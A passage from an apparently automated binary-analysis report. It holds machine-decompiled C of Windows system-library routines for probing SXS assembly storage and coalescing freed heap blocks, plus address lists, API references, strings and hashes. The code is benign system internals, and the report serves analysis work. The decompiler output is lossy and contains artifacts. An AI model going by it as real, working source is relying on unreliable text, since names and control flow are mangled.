						E6B5D5720(0x33, _t115, "SXS: Assembly storage resolution failing probe because attempt to allocate %u bytes failed.\n", _t195);
						_t193 = 0xc0000017;
						goto L28;
					} else {
						_t189 =  &_v536;
						_t116 = _t169 & 0x0000ffff;
						_v556 = _t189;
						L15:
						memcpy(_t189, _t159[2], _t116 & 0x0000ffff);
						_t197 = _t189 + ( *_t159 & 0x0000ffff);
						if(_v537 != 0) {
							_t119 = 0x5c;
							 *_t197 = _t119;
							_t197 = _t197 + 2;
						}
						_t161 = _v572;
						memcpy(_t197, _t161[2],  *_t161 & 0x0000ffff);
						 *((short*)(_t197 + ( *_t161 & 0x0000ffff))) = 0;
						_t165 = (_v537 & 0x000000ff) + (_v537 & 0x000000ff) +  *_v572 +  *_v576;
						_v560 = _t165;
						if(E6B556A00(_t189,  &_v568, 0,  &_v608) == 0) {
							E6B5D5720(0x33, 0, "SXS: Attempt to translate DOS path name \"%S\" to NT format failed\n", _t189);
							_t193 = 0xc000003a;
							goto L26;
						} else {
							_t129 = _v608;
							_t187 = _v564;
							_v588 = _v564;
							if(_t129 != 0) {
								_v568 = _t129;
								_v564 = _v604;
								_t131 = _v600;
							} else {
								_t131 = 0;
							}
							_v628 = _t131;
							_push(0x21);
							_v624 =  &_v568;
							_push(3);
							_push( &_v640);
							_v632 = 0x18;
							_push( &_v632);
							_push(0x100020);
							_v620 = 0x40;
							_push( &_v548);
							_v616 = 0;
							_v612 = 0;
							_t193 = E6B589830();
							_t137 = _v596;
							if(_t137 != 0) {
								asm("lock xadd [eax], ecx");
								if(0xffffffff == 0) {
									_push( *((intOrPtr*)(_t137 + 4)));
									E6B5895D0();
									RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _v596);
									_t189 = _v556;
									_t165 = _v560;
								}
							}
							if(_t193 < 0) {
								if(_t193 == 0xc000000f || _t193 == 0xc0000034 || _t193 == 0xc000003a) {
									_t193 = 0xc0150004;
								} else {
									_push(_t193);
									E6B5D5720(0x33, 0, "SXS: Unable to open assembly directory under storage root \"%S\"; Status = 0x%08lx\n", _t189);
								}
								goto L24;
							} else {
								_t172 = _v580;
								_t199 = _v592;
								if(_t199 > ( *(_t172 + 2) & 0x0000ffff)) {
									if(_t189 ==  &_v536) {
										_t173 = E6B563A1C(_t199);
										 *(_v552 + 4) = _t173;
										if(_t173 != 0) {
											memcpy(_t173, _t189, _t165 & 0x0000ffff);
											_t145 = _v552;
											L52:
											 *(_t145 + 2) = _t199;
											_t174 = _t145;
											goto L23;
										}
										_t193 = 0xc0000017;
										goto L24;
									}
									_t145 = _v552;
									 *(_t145 + 4) = _t189;
									_t189 = 0;
									_v556 = 0;
									goto L52;
								} else {
									memcpy( *(_t172 + 4), _t189, _t165 & 0x0000ffff);
									_t174 = _v580;
									L23:
									_t187 = _v584;
									 *_t187 = _t174;
									_t147 = (_t165 & 0x0000ffff) +  *((intOrPtr*)(_t174 + 4));
									_t175 = 0x5c;
									 *_t147 = _t175;
									 *((short*)(_t147 + 2)) = 0;
									 *( *_t187) = _v560 + 2;
									_v548 = _v548 & 0x00000000;
									_t193 = 0;
									 *_v544 = _v548;
									L24:
									_t103 = _v588;
									if(_t103 != 0) {
										RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t103);
										_t189 = _v556;
									}
									goto L26;
								}
							}
						}
					}
				}
			}

0x6b57cf7c
0x6b57cf7f
0x6b57cf82
0x6b57cf85
0x6b57cf8e
0x6b57cf99
0x6b57cf9c
0x6b57cfa4
0x6b57cfab
0x6b57cfad
0x6b57cfb3
0x6b57cfb9
0x6b57cfbf
0x6b57cfc5
0x6b57cfcb
0x6b57cfd1
0x6b57cfd7
0x6b57cfdd
0x6b57cfe3
0x6b57cfeb
0x6b57cfed
0x6b57cfed
0x6b57cfef
0x6b57cffb
0x6b57d003
0x6b57d005
0x6b57d005
0x6b57d00d
0x6b5bafc1
0x6b5bafc7
0x6b5bafc8
0x6b5bafc9
0x6b5bafca
0x6b5bafcb
0x6b5bafcc
0x6b5bafdc
0x6b5bafe4
0x00000000
0x6b57d03f
0x6b57d03f
0x6b57d042
0x6b57d047
0x6b57d050
0x6b57d055
0x6b57d059
0x6b57d05c
0x6b5bae41
0x6b5bae47
0x6b5bae4e
0x6b5bae4e
0x6b5bae41
0x6b57d05c
0x6b57d068
0x6b57d06a
0x6b57d075
0x6b5bae56
0x6b5bae5b
0x6b5bae5d
0x6b5bae5f
0x6b5bae67
0x6b57d230
0x6b57d232
0x6b57d261
0x6b57d261
0x6b57d23e
0x6b57d245
0x6b5bafee
0x6b5baff4
0x6b5baff4
0x6b57d250
0x6b57d251
0x6b57d254
0x6b57d25d
0x6b57d25d
0x6b57d080
0x6b5bae71
0x6b5bae7a
0x6b5bae7c
0x6b5bae84
0x6b5baea1
0x00000000
0x6b5baea1
0x6b5bae8f
0x6b5bae97
0x00000000
0x6b57d086
0x6b57d086
0x6b57d08c
0x6b57d08f
0x6b57d095
0x6b57d09d
0x6b57d0a8
0x6b57d0b1
0x6b5baeab
0x6b5baeac
0x6b5baeaf
0x6b5baeaf
0x6b57d0b7
0x6b57d0c5
0x6b57d0dc
0x6b57d0f1
0x6b57d102
0x6b57d112
0x6b5baec0
0x6b5baec8
0x00000000
0x6b57d118
0x6b57d118
0x6b57d11e
0x6b57d124
0x6b57d12d
0x6b5baed2
0x6b5baede
0x6b5baee4
0x6b57d133
0x6b57d133
0x6b57d133
0x6b57d135
0x6b57d141
0x6b57d143
0x6b57d14f
0x6b57d151
0x6b57d158
0x6b57d162
0x6b57d163
0x6b57d16e
0x6b57d178
0x6b57d179
0x6b57d17f
0x6b57d18a
0x6b57d18c
0x6b57d194
0x6b5baef2
0x6b5baef6
0x6b5baefc
0x6b5baeff
0x6b5baf15
0x6b5baf1a
0x6b5baf20
0x6b5baf20
0x6b5baef6
0x6b57d19c
0x6b5baf32
0x6b5baf5c
0x6b5baf44
0x6b5baf44
0x6b5baf4f
0x6b5baf54
0x00000000
0x6b57d1a2
0x6b57d1a2
0x6b57d1a8
0x6b57d1b4
0x6b5baf6e
0x6b5baf89
0x6b5baf91
0x6b5baf96
0x6b5bafa8
0x6b5bafad
0x6b5bafb6
0x6b5bafb6
0x6b5bafba
0x00000000
0x6b5bafba
0x6b5baf98
0x00000000
0x6b5baf98
0x6b5baf70
0x6b5baf76
0x6b5baf79
0x6b5baf7b
0x00000000
0x6b57d1ba
0x6b57d1c2
0x6b57d1c7
0x6b57d1d0
0x6b57d1d0
0x6b57d1db
0x6b57d1dd
0x6b57d1e0
0x6b57d1e1
0x6b57d1e6
0x6b57d1f5
0x6b57d204
0x6b57d20b
0x6b57d20d
0x6b57d20f
0x6b57d20f
0x6b57d217
0x6b57d225
0x6b57d22a
0x6b57d22a
0x00000000
0x6b57d217
0x6b57d1b4
0x6b57d19c
0x6b57d112
0x6b57d080

APIs

memcpy.1105(?,00000010,?,00000040,?,?), ref: 6B57D09D
memcpy.1105(00000000,00000010,00000000,00000040,?,?), ref: 6B57D0C5
RtlDosPathNameToRelativeNtPathName_U.1105(?,?,00000000,?,?,?,?,00000040,?,?), ref: 6B57D10B
ZwOpenFile.1105(?,00100020,?,?,00000003,00000021,?,?,00000000,?,?,?,?,00000040,?,?), ref: 6B57D185
memcpy.1105(00000010,?,?,?,00100020,?,?,00000003,00000021,?,?,00000000,?), ref: 6B57D1C2
RtlFreeHeap.1105(?,00000000,?,?,00000000,?,?,?,?,00000040,?,?), ref: 6B57D225
RtlDeleteBoundaryDescriptor.1105(?,?,00000000,?,?,?,?,00000040,?,?), ref: 6B57D261

Part of subcall function 6B54AD30: RtlFreeHeap.1105(?,00000000,00000001,?,6B5702E9,00000000,?,6B55ECFB,6B6384D8,6B6384D8,6B5917F0,00000000,?,6B56F715,6B56F5C0,?), ref: 6B54AD43

ZwClose.1105(00000010,?,00100020,?,?,00000003,00000021,?,?,00000000,?,?,?,?,00000040,?), ref: 6B5BAEFF
RtlFreeHeap.1105(?,00000000,?,00000010,?,00100020,?,?,00000003,00000021,?,?,00000000,?), ref: 6B5BAF15

Strings

SXS: Attempt to translate DOS path name "%S" to NT format failed, xrefs: 6B5BAEB8
RtlpProbeAssemblyStorageRootForAssembly, xrefs: 6B5BAFCE
SXS: Assembly storage resolution failing probe because combined path length does not fit in an UNICODE_STRING., xrefs: 6B5BAE56
@, xrefs: 6B57D16E
SXS: Unable to open assembly directory under storage root "%S"; Status = 0x%08lx, xrefs: 6B5BAF46
SXS: Assembly storage resolution failing probe because attempt to allocate %u bytes failed., xrefs: 6B5BAE87
SXS: %s() bad parametersSXS: Flags: 0x%lxSXS: Root: %pSXS: AssemblyDirectory: %pSXS: PreAllocatedString: %pSXS: DynamicString: %pSXS: StringUsed: %pSXS: OpenDirectoryHandle: %p, xrefs: 6B5BAFD3

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeHeapmemcpy$Path$BoundaryCloseDeleteDescriptorFileNameName_OpenRelative
String ID: @$RtlpProbeAssemblyStorageRootForAssembly$SXS: %s() bad parametersSXS: Flags: 0x%lxSXS: Root: %pSXS: AssemblyDirectory: %pSXS: PreAllocatedString: %pSXS: DynamicString: %pSXS: StringUsed: %pSXS: OpenDirectoryHandle: %p$SXS: Assembly storage resolution failing probe because attempt to allocate %u bytes failed.$SXS: Assembly storage resolution failing probe because combined path length does not fit in an UNICODE_STRING.$SXS: Attempt to translate DOS path name "%S" to NT format failed$SXS: Unable to open assembly directory under storage root "%S"; Status = 0x%08lx
API String ID: 1343436988-541586583
Opcode ID: dde0521c06f552f0ea9342a164a77784308270030f1eaa5fcacf31070bfc7de3
Instruction ID: f1685781084dab93b99d342764222020535040f757a92c78eb956a3eccc4d044
Opcode Fuzzy Hash: dde0521c06f552f0ea9342a164a77784308270030f1eaa5fcacf31070bfc7de3
Instruction Fuzzy Hash: A8C1A6B1941628ABEB20DF19DC95BE9B7B4EF85704F1040E5E808A7290E7399E81CF54

Uniqueness

Uniqueness Score: -1.00%

Function 6B5699BF, Relevance: 33.8, APIs: 16, Strings: 3, Instructions: 572
COMMONCrypto

Download Yara Rule

C-Code - Quality: 78%

			E6B5699BF(signed int __ecx, signed short* __edx, signed int* _a4, signed int _a8) {
				char _v5;
				signed int _v12;
				signed int _v16;
				signed short _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed short _t186;
				intOrPtr _t187;
				signed short _t190;
				signed int _t196;
				signed short _t197;
				intOrPtr _t203;
				signed int _t207;
				signed int _t210;
				signed short _t215;
				intOrPtr _t216;
				signed short _t219;
				signed int _t221;
				signed short _t222;
				intOrPtr _t228;
				signed int _t232;
				signed int _t235;
				signed int _t250;
				signed short _t251;
				intOrPtr _t252;
				signed short _t254;
				intOrPtr _t255;
				signed int _t258;
				signed int _t259;
				signed short _t262;
				intOrPtr _t271;
				signed int _t279;
				signed int _t282;
				signed int _t284;
				signed int _t286;
				intOrPtr _t292;
				signed int _t296;
				signed int _t299;
				signed int _t307;
				signed int* _t309;
				signed short* _t311;
				signed short* _t313;
				signed char _t314;
				intOrPtr _t316;
				signed int _t323;
				signed char _t328;
				signed short* _t330;
				signed char _t331;
				intOrPtr _t335;
				signed int _t342;
				signed char _t347;
				signed short* _t348;
				signed short* _t350;
				signed short _t352;
				signed char _t354;
				intOrPtr _t357;
				intOrPtr* _t364;
				signed char _t365;
				intOrPtr _t366;
				signed int _t373;
				signed char _t378;
				signed int* _t381;
				signed int _t382;
				signed short _t384;
				signed int _t386;
				unsigned int _t390;
				signed int _t393;
				signed int* _t394;
				unsigned int _t398;
				signed short _t400;
				signed short _t402;
				signed int _t404;
				signed int _t407;
				unsigned int _t411;
				signed short* _t414;
				signed int _t415;
				signed short* _t419;
				signed int* _t420;
				void* _t421;

				_t414 = __edx;
				_t307 = __ecx;
				_t419 = __edx - (( *(__edx + 4) & 0x0000ffff ^  *(__ecx + 0x54) & 0x0000ffff) << 3);
				if(_t419 == __edx || (( *(__ecx + 0x4c) >> 0x00000014 &  *(__ecx + 0x52) ^ _t419[1]) & 0x00000001) != 0) {
					_v5 = _a8;
					L3:
					_t381 = _a4;
					goto L4;
				} else {
					__eflags =  *(__ecx + 0x4c);
					if( *(__ecx + 0x4c) != 0) {
						_t411 =  *(__ecx + 0x50) ^  *_t419;
						 *_t419 = _t411;
						_t378 = _t411 >> 0x00000010 ^ _t411 >> 0x00000008 ^ _t411;
						__eflags = _t411 >> 0x18 - _t378;
						if(__eflags != 0) {
							_push(_t378);
							E6B5FFA2B(__ecx, __ecx, _t419, __edx, _t419, __eflags);
						}
					}
					_t250 = _a8;
					_v5 = _t250;
					__eflags = _t250;
					if(_t250 != 0) {
						_t400 = _t414[6];
						_t53 =  &(_t414[4]); // -16
						_t348 = _t53;
						_t251 =  *_t348;
						_v12 = _t251;
						_v16 = _t400;
						_t252 =  *((intOrPtr*)(_t251 + 4));
						__eflags =  *_t400 - _t252;
						if( *_t400 != _t252) {
							L49:
							_push(_t348);
							_push( *_t400);
							E6B60A80D(_t307, 0xd, _t348, _t252);
							L50:
							_v5 = 0;
							goto L11;
						}
						__eflags =  *_t400 - _t348;
						if( *_t400 != _t348) {
							goto L49;
						}
						 *((intOrPtr*)(_t307 + 0x74)) =  *((intOrPtr*)(_t307 + 0x74)) - ( *_t414 & 0x0000ffff);
						_t407 =  *(_t307 + 0xb4);
						__eflags = _t407;
						if(_t407 == 0) {
							L36:
							_t364 = _v16;
							_t282 = _v12;
							 *_t364 = _t282;
							 *((intOrPtr*)(_t282 + 4)) = _t364;
							__eflags = _t414[1] & 0x00000008;
							if((_t414[1] & 0x00000008) == 0) {
								L39:
								_t365 = _t414[1];
								__eflags = _t365 & 0x00000004;
								if((_t365 & 0x00000004) != 0) {
									_t284 = ( *_t414 & 0x0000ffff) * 8 - 0x10;
									_v12 = _t284;
									__eflags = _t365 & 0x00000002;
									if((_t365 & 0x00000002) != 0) {
										__eflags = _t284 - 4;
										if(_t284 > 4) {
											_t284 = _t284 - 4;
											__eflags = _t284;
											_v12 = _t284;
										}
									}
									_t78 =  &(_t414[8]); // -8
									_t286 = E6B59D540(_t78, _t284, 0xfeeefeee);
									_v16 = _t286;
									__eflags = _t286 - _v12;
									if(_t286 != _v12) {
										_t366 =  *[fs:0x30];
										__eflags =  *(_t366 + 0xc);
										if( *(_t366 + 0xc) == 0) {
											_push("HEAP: ");
											E6B54B150();
										} else {
											E6B54B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
										}
										_push(_v16 + 0x10 + _t414);
										E6B54B150("HEAP: Free Heap block %p modified at %p after it was freed\n", _t414);
										_t292 =  *[fs:0x30];
										_t421 = _t421 + 0xc;
										__eflags =  *((char*)(_t292 + 2));
										if( *((char*)(_t292 + 2)) != 0) {
											 *0x6b636378 = 1;
											asm("int3");
											 *0x6b636378 = 0;
										}
									}
								}
								goto L50;
							}
							_t296 = E6B56A229(_t307, _t414);
							__eflags = _t296;
							if(_t296 != 0) {
								goto L39;
							} else {
								E6B56A309(_t307, _t414,  *_t414 & 0x0000ffff, 1);
								goto L50;
							}
						} else {
							_t373 =  *_t414 & 0x0000ffff;
							while(1) {
								__eflags = _t373 -  *((intOrPtr*)(_t407 + 4));
								if(_t373 <  *((intOrPtr*)(_t407 + 4))) {
									_t301 = _t373;
									break;
								}
								_t299 =  *_t407;
								__eflags = _t299;
								if(_t299 == 0) {
									_t301 =  *((intOrPtr*)(_t407 + 4)) - 1;
									__eflags =  *((intOrPtr*)(_t407 + 4)) - 1;
									break;
								} else {
									_t407 = _t299;
									continue;
								}
							}
							_t62 =  &(_t414[4]); // -16
							E6B56BC04(_t307, _t407, 1, _t62, _t301, _t373);
							goto L36;
						}
					}
					L11:
					_t402 = _t419[6];
					_t25 =  &(_t419[4]); // -16
					_t350 = _t25;
					_t254 =  *_t350;
					_v12 = _t254;
					_v20 = _t402;
					_t255 =  *((intOrPtr*)(_t254 + 4));
					__eflags =  *_t402 - _t255;
					if( *_t402 != _t255) {
						L61:
						_push(_t350);
						_push( *_t402);
						E6B60A80D(_t307, 0xd, _t350, _t255);
						goto L3;
					}
					__eflags =  *_t402 - _t350;
					if( *_t402 != _t350) {
						goto L61;
					}
					 *((intOrPtr*)(_t307 + 0x74)) =  *((intOrPtr*)(_t307 + 0x74)) - ( *_t419 & 0x0000ffff);
					_t404 =  *(_t307 + 0xb4);
					__eflags = _t404;
					if(_t404 == 0) {
						L20:
						_t352 = _v20;
						_t258 = _v12;
						 *_t352 = _t258;
						 *(_t258 + 4) = _t352;
						__eflags = _t419[1] & 0x00000008;
						if((_t419[1] & 0x00000008) != 0) {
							_t259 = E6B56A229(_t307, _t419);
							__eflags = _t259;
							if(_t259 != 0) {
								goto L21;
							} else {
								E6B56A309(_t307, _t419,  *_t419 & 0x0000ffff, 1);
								goto L3;
							}
						}
						L21:
						_t354 = _t419[1];
						__eflags = _t354 & 0x00000004;
						if((_t354 & 0x00000004) != 0) {
							_t415 = ( *_t419 & 0x0000ffff) * 8 - 0x10;
							__eflags = _t354 & 0x00000002;
							if((_t354 & 0x00000002) != 0) {
								__eflags = _t415 - 4;
								if(_t415 > 4) {
									_t415 = _t415 - 4;
									__eflags = _t415;
								}
							}
							_t91 =  &(_t419[8]); // -8
							_t262 = E6B59D540(_t91, _t415, 0xfeeefeee);
							_v20 = _t262;
							__eflags = _t262 - _t415;
							if(_t262 != _t415) {
								_t357 =  *[fs:0x30];
								__eflags =  *(_t357 + 0xc);
								if( *(_t357 + 0xc) == 0) {
									_push("HEAP: ");
									E6B54B150();
								} else {
									E6B54B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
								}
								_push(_v20 + 0x10 + _t419);
								E6B54B150("HEAP: Free Heap block %p modified at %p after it was freed\n", _t419);
								_t271 =  *[fs:0x30];
								_t421 = _t421 + 0xc;
								__eflags =  *((char*)(_t271 + 2));
								if( *((char*)(_t271 + 2)) != 0) {
									 *0x6b636378 = 1;
									asm("int3");
									 *0x6b636378 = 0;
								}
							}
						}
						_t381 = _a4;
						_t414 = _t419;
						_t419[1] = 0;
						_t419[3] = 0;
						 *_t381 =  *_t381 + ( *_t419 & 0x0000ffff);
						 *_t419 =  *_t381;
						 *(_t419 + 4 +  *_t381 * 8) =  *_t381 ^  *(_t307 + 0x54);
						L4:
						_t420 = _t414 +  *_t381 * 8;
						if( *(_t307 + 0x4c) == 0) {
							L6:
							while((( *(_t307 + 0x4c) >> 0x00000014 &  *(_t307 + 0x52) ^ _t420[0]) & 0x00000001) == 0) {
								__eflags =  *(_t307 + 0x4c);
								if( *(_t307 + 0x4c) != 0) {
									_t390 =  *(_t307 + 0x50) ^  *_t420;
									 *_t420 = _t390;
									_t328 = _t390 >> 0x00000010 ^ _t390 >> 0x00000008 ^ _t390;
									__eflags = _t390 >> 0x18 - _t328;
									if(__eflags != 0) {
										_push(_t328);
										E6B5FFA2B(_t307, _t307, _t420, _t414, _t420, __eflags);
									}
								}
								__eflags = _v5;
								if(_v5 == 0) {
									L94:
									_t382 = _t420[3];
									_t137 =  &(_t420[2]); // -16
									_t309 = _t137;
									_t186 =  *_t309;
									_v20 = _t186;
									_v16 = _t382;
									_t187 =  *((intOrPtr*)(_t186 + 4));
									__eflags =  *_t382 - _t187;
									if( *_t382 != _t187) {
										L63:
										_push(_t309);
										_push( *_t382);
										_push(_t187);
										_push(_t309);
										_push(0xd);
										L64:
										E6B60A80D(_t307);
										continue;
									}
									__eflags =  *_t382 - _t309;
									if( *_t382 != _t309) {
										goto L63;
									}
									 *((intOrPtr*)(_t307 + 0x74)) =  *((intOrPtr*)(_t307 + 0x74)) - ( *_t420 & 0x0000ffff);
									_t393 =  *(_t307 + 0xb4);
									__eflags = _t393;
									if(_t393 == 0) {
										L104:
										_t330 = _v16;
										_t190 = _v20;
										 *_t330 = _t190;
										 *(_t190 + 4) = _t330;
										__eflags = _t420[0] & 0x00000008;
										if((_t420[0] & 0x00000008) == 0) {
											L107:
											_t331 = _t420[0];
											__eflags = _t331 & 0x00000004;
											if((_t331 & 0x00000004) != 0) {
												_t196 = ( *_t420 & 0x0000ffff) * 8 - 0x10;
												_v12 = _t196;
												__eflags = _t331 & 0x00000002;
												if((_t331 & 0x00000002) != 0) {
													__eflags = _t196 - 4;
													if(_t196 > 4) {
														_t196 = _t196 - 4;
														__eflags = _t196;
														_v12 = _t196;
													}
												}
												_t162 =  &(_t420[4]); // -8
												_t197 = E6B59D540(_t162, _t196, 0xfeeefeee);
												_v20 = _t197;
												__eflags = _t197 - _v12;
												if(_t197 != _v12) {
													_t335 =  *[fs:0x30];
													__eflags =  *(_t335 + 0xc);
													if( *(_t335 + 0xc) == 0) {
														_push("HEAP: ");
														E6B54B150();
													} else {
														E6B54B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
													}
													_push(_v20 + 0x10 + _t420);
													E6B54B150("HEAP: Free Heap block %p modified at %p after it was freed\n", _t420);
													_t203 =  *[fs:0x30];
													__eflags =  *((char*)(_t203 + 2));
													if( *((char*)(_t203 + 2)) != 0) {
														 *0x6b636378 = 1;
														asm("int3");
														 *0x6b636378 = 0;
													}
												}
											}
											_t394 = _a4;
											_t414[1] = 0;
											_t414[3] = 0;
											 *_t394 =  *_t394 + ( *_t420 & 0x0000ffff);
											 *_t414 =  *_t394;
											 *(_t414 + 4 +  *_t394 * 8) =  *_t394 ^  *(_t307 + 0x54);
											break;
										}
										_t207 = E6B56A229(_t307, _t420);
										__eflags = _t207;
										if(_t207 != 0) {
											goto L107;
										}
										E6B56A309(_t307, _t420,  *_t420 & 0x0000ffff, 1);
										continue;
									}
									_t342 =  *_t420 & 0x0000ffff;
									while(1) {
										__eflags = _t342 -  *((intOrPtr*)(_t393 + 4));
										if(_t342 <  *((intOrPtr*)(_t393 + 4))) {
											break;
										}
										_t210 =  *_t393;
										__eflags = _t210;
										if(_t210 == 0) {
											_t212 =  *((intOrPtr*)(_t393 + 4)) - 1;
											__eflags =  *((intOrPtr*)(_t393 + 4)) - 1;
											L103:
											_t146 =  &(_t420[2]); // -16
											E6B56BC04(_t307, _t393, 1, _t146, _t212, _t342);
											goto L104;
										}
										_t393 = _t210;
									}
									_t212 = _t342;
									goto L103;
								} else {
									_t384 = _t414[6];
									_t102 =  &(_t414[4]); // -16
									_t311 = _t102;
									_t215 =  *_t311;
									_v20 = _t215;
									_v16 = _t384;
									_t216 =  *((intOrPtr*)(_t215 + 4));
									__eflags =  *_t384 - _t216;
									if( *_t384 != _t216) {
										L92:
										_push(_t311);
										_push( *_t384);
										E6B60A80D(_t307, 0xd, _t311, _t216);
										L93:
										_v5 = 0;
										goto L94;
									}
									__eflags =  *_t384 - _t311;
									if( *_t384 != _t311) {
										goto L92;
									}
									 *((intOrPtr*)(_t307 + 0x74)) =  *((intOrPtr*)(_t307 + 0x74)) - ( *_t414 & 0x0000ffff);
									_t386 =  *(_t307 + 0xb4);
									__eflags = _t386;
									if(_t386 == 0) {
										L79:
										_t313 = _v16;
										_t219 = _v20;
										 *_t313 = _t219;
										 *(_t219 + 4) = _t313;
										__eflags = _t414[1] & 0x00000008;
										if((_t414[1] & 0x00000008) == 0) {
											L82:
											_t314 = _t414[1];
											__eflags = _t314 & 0x00000004;
											if((_t314 & 0x00000004) != 0) {
												_t221 = ( *_t414 & 0x0000ffff) * 8 - 0x10;
												_v12 = _t221;
												__eflags = _t314 & 0x00000002;
												if((_t314 & 0x00000002) != 0) {
													__eflags = _t221 - 4;
													if(_t221 > 4) {
														_t221 = _t221 - 4;
														__eflags = _t221;
														_v12 = _t221;
													}
												}
												_t127 =  &(_t414[8]); // -8
												_t222 = E6B59D540(_t127, _t221, 0xfeeefeee);
												_v20 = _t222;
												__eflags = _t222 - _v12;
												if(_t222 != _v12) {
													_t316 =  *[fs:0x30];
													__eflags =  *(_t316 + 0xc);
													if( *(_t316 + 0xc) == 0) {
														_push("HEAP: ");
														E6B54B150();
													} else {
														E6B54B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
													}
													_push(_v20 + 0x10 + _t414);
													E6B54B150("HEAP: Free Heap block %p modified at %p after it was freed\n", _t414);
													_t228 =  *[fs:0x30];
													_t421 = _t421 + 0xc;
													__eflags =  *((char*)(_t228 + 2));
													if( *((char*)(_t228 + 2)) != 0) {
														 *0x6b636378 = 1;
														asm("int3");
														 *0x6b636378 = 0;
													}
												}
											}
											goto L93;
										}
										_t232 = E6B56A229(_t307, _t414);
										__eflags = _t232;
										if(_t232 != 0) {
											goto L82;
										}
										E6B56A309(_t307, _t414,  *_t414 & 0x0000ffff, 1);
										goto L93;
									}
									_t323 =  *_t414 & 0x0000ffff;
									while(1) {
										__eflags = _t323 -  *((intOrPtr*)(_t386 + 4));
										if(_t323 <  *((intOrPtr*)(_t386 + 4))) {
											break;
										}
										_t235 =  *_t386;
										__eflags = _t235;
										if(_t235 == 0) {
											_t237 =  *((intOrPtr*)(_t386 + 4)) - 1;
											__eflags =  *((intOrPtr*)(_t386 + 4)) - 1;
											L78:
											_t111 =  &(_t414[4]); // -16
											E6B56BC04(_t307, _t386, 1, _t111, _t237, _t323);
											goto L79;
										}
										_t386 = _t235;
									}
									_t237 = _t323;
									goto L78;
								}
							}
							return _t414;
						}
						_t398 =  *(_t307 + 0x50) ^  *_t420;
						_t347 = _t398 >> 0x00000010 ^ _t398 >> 0x00000008 ^ _t398;
						if(_t398 >> 0x18 != _t347) {
							_push(_t347);
							_push(0);
							_push(0);
							_push(_t420);
							_push(3);
							goto L64;
						}
						goto L6;
					} else {
						_t277 =  *_t419 & 0x0000ffff;
						_v16 = _t277;
						while(1) {
							__eflags = _t277 -  *((intOrPtr*)(_t404 + 4));
							if(_t277 <  *((intOrPtr*)(_t404 + 4))) {
								break;
							}
							_t279 =  *_t404;
							__eflags = _t279;
							if(_t279 == 0) {
								_t277 =  *((intOrPtr*)(_t404 + 4)) - 1;
								__eflags =  *((intOrPtr*)(_t404 + 4)) - 1;
								break;
							} else {
								_t404 = _t279;
								_t277 =  *_t419 & 0x0000ffff;
								continue;
							}
						}
						E6B56BC04(_t307, _t404, 1, _t350, _t277, _v16);
						goto L20;
					}
				}
			}

0x6b5699ca
0x6b5699cc
0x6b5699df
0x6b5699e3
0x6b5699f8
0x6b5699fb
0x6b5699fb
0x00000000
0x6b569a48
0x6b569a48
0x6b569a4c
0x6b569a51
0x6b569a55
0x6b569a61
0x6b569a66
0x6b569a68
0x6b5b1457
0x6b5b145c
0x6b5b145c
0x6b569a68
0x6b569a6e
0x6b569a71
0x6b569a74
0x6b569a76
0x6b5b1466
0x6b5b1469
0x6b5b1469
0x6b5b146c
0x6b5b146e
0x6b5b1471
0x6b5b1474
0x6b5b1477
0x6b5b1479
0x6b5b159c
0x6b5b159c
0x6b5b159d
0x6b5b15a6
0x6b5b15ab
0x6b5b15ab
0x00000000
0x6b5b15ab
0x6b5b147f
0x6b5b1481
0x00000000
0x00000000
0x6b5b148a
0x6b5b148d
0x6b5b1493
0x6b5b1495
0x6b5b14c0
0x6b5b14c0
0x6b5b14c3
0x6b5b14c6
0x6b5b14c8
0x6b5b14cb
0x6b5b14cf
0x6b5b14f2
0x6b5b14f2
0x6b5b14f5
0x6b5b14f8
0x6b5b1501
0x6b5b1508
0x6b5b150b
0x6b5b150e
0x6b5b1510
0x6b5b1513
0x6b5b1515
0x6b5b1515
0x6b5b1518
0x6b5b1518
0x6b5b1513
0x6b5b1521
0x6b5b1525
0x6b5b152a
0x6b5b152d
0x6b5b1530
0x6b5b1532
0x6b5b1539
0x6b5b153d
0x6b5b155d
0x6b5b1562
0x6b5b153f
0x6b5b1555
0x6b5b155a
0x6b5b1570
0x6b5b1577
0x6b5b157c
0x6b5b1582
0x6b5b1585
0x6b5b1589
0x6b5b158b
0x6b5b1592
0x6b5b1593
0x6b5b1593
0x6b5b1589
0x6b5b1530
0x00000000
0x6b5b14f8
0x6b5b14d5
0x6b5b14da
0x6b5b14dc
0x00000000
0x6b5b14de
0x6b5b14e8
0x00000000
0x6b5b14e8
0x6b5b1497
0x6b5b1497
0x6b5b14a4
0x6b5b14a4
0x6b5b14a7
0x6b5b14a9
0x6b5b14ab
0x6b5b14ab
0x6b5b149c
0x6b5b149e
0x6b5b14a0
0x6b5b14b0
0x6b5b14b0
0x00000000
0x6b5b14a2
0x6b5b14a2
0x00000000
0x6b5b14a2
0x6b5b14a0
0x6b5b14b3
0x6b5b14bb
0x00000000
0x6b5b14bb
0x6b5b1495
0x6b569a7c
0x6b569a7c
0x6b569a7f
0x6b569a7f
0x6b569a82
0x6b569a84
0x6b569a87
0x6b569a8a
0x6b569a8d
0x6b569a8f
0x6b5b166a
0x6b5b166a
0x6b5b166b
0x6b5b1674
0x00000000
0x6b5b1674
0x6b569a95
0x6b569a97
0x00000000
0x00000000
0x6b569aa0
0x6b569aa3
0x6b569aa9
0x6b569aab
0x6b569ad7
0x6b569ad7
0x6b569ada
0x6b569add
0x6b569adf
0x6b569ae2
0x6b569ae6
0x6b569b22
0x6b569b27
0x6b569b29
0x00000000
